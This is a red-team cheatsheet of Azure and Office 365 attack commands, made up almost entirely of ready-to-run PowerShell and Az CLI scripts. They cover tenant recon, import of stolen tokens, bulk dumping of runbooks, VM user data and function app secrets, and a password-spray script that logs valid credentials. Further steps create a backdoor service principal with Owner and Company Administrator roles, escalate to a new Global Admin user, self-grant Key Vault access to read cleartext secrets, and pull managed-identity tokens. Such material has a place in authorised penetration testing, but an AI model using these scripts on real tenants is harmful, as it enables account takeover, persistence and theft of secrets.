Microsoft Azure & O365 CLI Tool Cheatsheet
Recon
Get Federation info for target domain
https://login.microsoftonline.com/getuserrealm.srf?login=username@targetdomain.com&xml=1
Get Tenant ID for a target domain
https://login.microsoftonline.com/<target domain>/v2.0/.well-known/openid-configuration
Az PowerShell Module
Import-Module Az
Authentication
Connect-AzAccount
## Or this way sometimes gets around MFA restrictions
$credential = Get-Credential
Connect-AzAccount -Credential $credential
Import a context file
Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json'
Export a context file
Save-AzContext -Path C:\Temp\AzureAccessToken.json
Account Information
List the current Azure contexts available
Get-AzContext -ListAvailable
Get context details
$context = Get-AzContext
$context.Name
$context.Account
List subscriptions
Get-AzSubscription
Choose a subscription
Select-AzSubscription -SubscriptionID "SubscriptionID"
Get the current user’s role assignment
Get-AzRoleAssignment
List all resources and resource groups
Get-AzResource
Get-AzResourceGroup
List storage accounts
Get-AzStorageAccount
WebApps & SQL
List Azure web applications
Get-AzAdApplication
Get-AzWebApp
List SQL servers
Get-AzSQLServer
Individual databases can be listed with information retrieved from the previous command
Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
List SQL Firewall rules
Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName
List SQL Server AD Admins
Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName
Runbooks
List Azure Runbooks
Get-AzAutomationAccount
Get-AzAutomationRunbook -AutomationAccountName <AutomationAccountName> -ResourceGroupName <ResourceGroupName>
Export a runbook with:
Export-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName $ResourceGroupName -Name $RunbookName -OutputFolder .\Desktop\
Script to export all runbooks from all subscriptions
$subs = Get-AzSubscription
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
mkdir .\$subscriptionid\
Select-AzSubscription -Subscription $subscriptionid
$runbooks = @()
$autoaccounts = Get-AzAutomationAccount |Select-Object AutomationAccountName,ResourceGroupName
foreach ($i in $autoaccounts){
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
}
foreach($r in $runbooks){
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
}
}
Automation Account Job Outputs
Script to export all job outputs
$subs = Get-AzSubscription
$jobout = @()
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
Select-AzSubscription -Subscription $subscriptionid
$jobs = @()
$autoaccounts = Get-AzAutomationAccount |Select-Object AutomationAccountName,ResourceGroupName
foreach ($i in $autoaccounts){
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
}
foreach($r in $jobs){
Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
}
}
$jobout | out-file -Encoding ascii joboutputs.txt
Virtual Machines
List VMs and get OS details
Get-AzVM
$vm = Get-AzVM -Name "VM Name"
$vm.OSProfile
Extract VM UserData
$subs = Get-AzSubscription
$fulllist = @()
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
Select-AzSubscription -Subscription $subscriptionid
$vms = Get-AzVM
$list = $vms.UserData
$list
$fulllist += $list
}
$fulllist
Run commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
Networking
List virtual networks
Get-AzVirtualNetwork
List public IP addresses assigned to virtual NICs
Get-AzPublicIpAddress
Get Azure ExpressRoute (VPN) Info
Get-AzExpressRouteCircuit
Get Azure VPN Info
Get-AzVpnConnection
Backdoors
Create a new Azure service principal as a backdoor
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecureSecret
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
#Enter the AppID as username and what was returned for $UnsecureSecret as the password in the Get-Credential prompt
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal
MSOnline PowerShell Module
Import-Module MSOnline
Authentication
Connect-MsolService
## Or this way sometimes gets around MFA restrictions
$credential = Get-Credential
Connect-MsolService -Credential $credential
Account and Directory Information
List Company Information
Get-MSolCompanyInformation
List all users
Get-MSolUser -All
List all groups
Get-MSolGroup -All
List members of a group (Global Admins in this case)
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember –GroupObjectId $GUID
List all user attributes
Get-MSolUser –All | fl
List Service Principals
Get-MsolServicePrincipal
One-liner to search all Azure AD user attributes for passwords
$users = Get-MsolUser -All; foreach($user in $users){$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; foreach($prop in $props){if($user.$prop -like "*password*"){Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)}}}
Function Apps
List Function App Hostnames
$functionapps = Get-AzFunctionApp
foreach($f in $functionapps){
$f.EnabledHostname
}
Extract interesting Function Info
$subs = Get-AzSubscription
$allfunctioninfo = @()
Foreach($s in $subs){
$subscriptionid = $s.SubscriptionId
Select-AzSubscription -Subscription $subscriptionid
$functionapps = Get-AzFunctionApp
foreach($f in $functionapps){
$allfunctioninfo += $f.config | select-object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
$allfunctioninfo += $f.SiteConfig | fl
$allfunctioninfo += $f.ApplicationSettings | fl
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
}
}
$allfunctioninfo
Simple Password Spray Script with Az PowerShell Connect-AzAccount
This simple script works well for ADFS environments. Uses one pass per line in the passlist.txt file for spraying with unique values for each user such as username or employee ID.
$userlist = Get-Content userlist.txt
$passlist = Get-Content passlist.txt
$linenumber = 0
$count = $userlist.count
foreach($line in $userlist){
$user = $line
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
$current = $linenumber + 1
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
$linenumber++
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
try
{
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1] )
}
catch
{
$Failure = $_.Exception
if ($Failure -match "ID3242")
{
continue
}
else
{
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1] )
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
Add-Content valid-creds.txt $Failure.Message
Write-Host -ForegroundColor red $Failure.Message
}
}
}
Az CLI Tool
Authentication
az login
Login to the account without subscription access
az login --allow-no-subscriptions
Dump Azure Key Vaults
List out any key vault resources the current account can view
az keyvault list –query '[].name' --output tsv
With contributor level access you can give yourself the right permissions to obtain secrets.
az keyvault set-policy --name <KeyVaultname> --upn <YourContributorUsername> --secret-permissions get list --key-permissions get list --storage-permissions get list --certificate-permissions get list
Get URI for Key Vault
az keyvault secret list --vault-name <KeyVaultName> --query '[].id' --output tsv
Get cleartext secret from keyvault
az keyvault secret show --id <URI from last command> | ConvertFrom-Json
Invite a Guest User to Tenant via AZ CLI
$Body="{'invitedUserEmailAddress':'Email Address to Invite', 'inviteRedirectUrl': 'https://portal.azure.com'}”
az rest --method POST --uri https://graph.microsoft.com/v1.0/invitations --headers "Content-Type=application/json" --body $Body
Then use InvitationRedeemUrl to accept invite on guest user account
Service Principal Attack Path
Commands for resetting a service principal credential that has higher privileges and then using the service principal to create a new user in the tenant with global admin permissions.
Create a new credential for service principal
az ad sp credential reset --id <app_id>
az ad sp credential list --id <app_id>
Login as a service principal using the password and app ID from previous command
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
Create a new user in the tenant
az ad user create --display-name <display name> --password <password> --user-principal-name <full upn>
Add user to Global Admin group ID via MS Graph API:
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}”
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
Metadata Service URL
http://169.254.169.254/metadata
Get access tokens from the metadata service
#### Managed Identity token retrieval
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
#### full instance path information
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$instance
Microsoft Device Code Login via PowerShell
Reference: https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
First, initiate a device code login and then navigate to https://microsoft.com/devicelogin and enter the code that is output from the script below.
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse
After authenticating in the browser go back to your PowerShell terminal and run the below script to retrieve access tokens.
$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens
Other Azure & O365 Tools
MicroBurst
Azure security assessment tool
https://github.com/NetSPI/MicroBurst
Look for open storage blobs
Invoke-EnumerateAzureBlobs -Base $BaseName
Export SSL/TLS certs
Get-AzPasswords -ExportCerts Y
Azure Container Registry dump
Get-AzPasswords
Get-AzACR
PowerZure
Azure security assessment tool
https://github.com/hausec/PowerZure
ROADTools
Framework to interact with Azure AD
https://github.com/dirkjanm/ROADtools
Stormspotter
Red team tool for graphing Azure and Azure AD objects
https://github.com/Azure/Stormspotter
MSOLSpray
Tool to password spray Azure/O365
https://github.com/dafthack
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020
AzureHound
Tool to identify attack paths in Azure AD and AzureRM
https://github.com/BloodHoundAD/AzureHound
Run AzureHound with a refresh token:
./azurehound -r "0.ARwA6Wg..." list --tenant "tenant ID" -v 2 -o output.json